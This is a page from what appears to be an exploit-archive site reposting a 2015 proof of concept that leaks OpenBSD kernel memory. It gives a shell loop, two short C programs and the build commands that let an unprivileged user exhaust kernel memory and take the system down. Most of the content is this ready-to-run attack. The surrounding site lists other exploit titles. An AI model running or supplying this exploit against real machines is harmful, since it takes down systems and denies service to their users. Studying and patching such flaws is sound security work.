首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
OpenBSD Local Denial Of Service
来源:max at M00nBSD.net 作者:Villard 发布时间:2015-08-03  
/*
 * 2015, Maxime Villard
 * Exploit triggering a memory leak in the OpenBSD kernel from an unprivileged
 * user. Found by The Brainy Code Scanner.
 */

- - - - - - - - - - - - - - - - - script.sh - - - - - - - - - - - - - - - - - -

#! /bin/sh
while true
do
	systrace -A ./exploit
done

- - - - - - - - - - - - - - - - - exploit.c - - - - - - - - - - - - - - - - - -

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main(int argc, char *argv[]) {
	execve("bin", argv, NULL);
}

- - - - - - - - - - - - - - - - - - bin.c - - - - - - - - - - - - - - - - - - -

int main() {}

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

	$ gcc -o exploit exploit.c
	$ gcc -Wl,-dynamic-linker,/DEAD -o bin bin.c
	$ ./script.sh

Wait a bit, and the kernel will run out of memory.



 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Heroes of Might and Magic III
·KMPlayer 3.9.x - .srt Crash Po
·Sudo <=1.8.14 - Unauthorized P
·T-Mobile Internet Manager - Co
·OpenSSL Alternative Chains Cer
·BIND9 - TKEY PoC
·Apple OS X DYLD_PRINT_TO_FILE
·Linux Privilege Escalation Due
·OS X 10.10 DYLD_PRINT_TO_FILE
·ISC BIND9 TKEY Remote DoS PoC
·Counter-Strike 1.6 GameInfo Qu
·Dell Netvault Backup 10.0.1.24
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved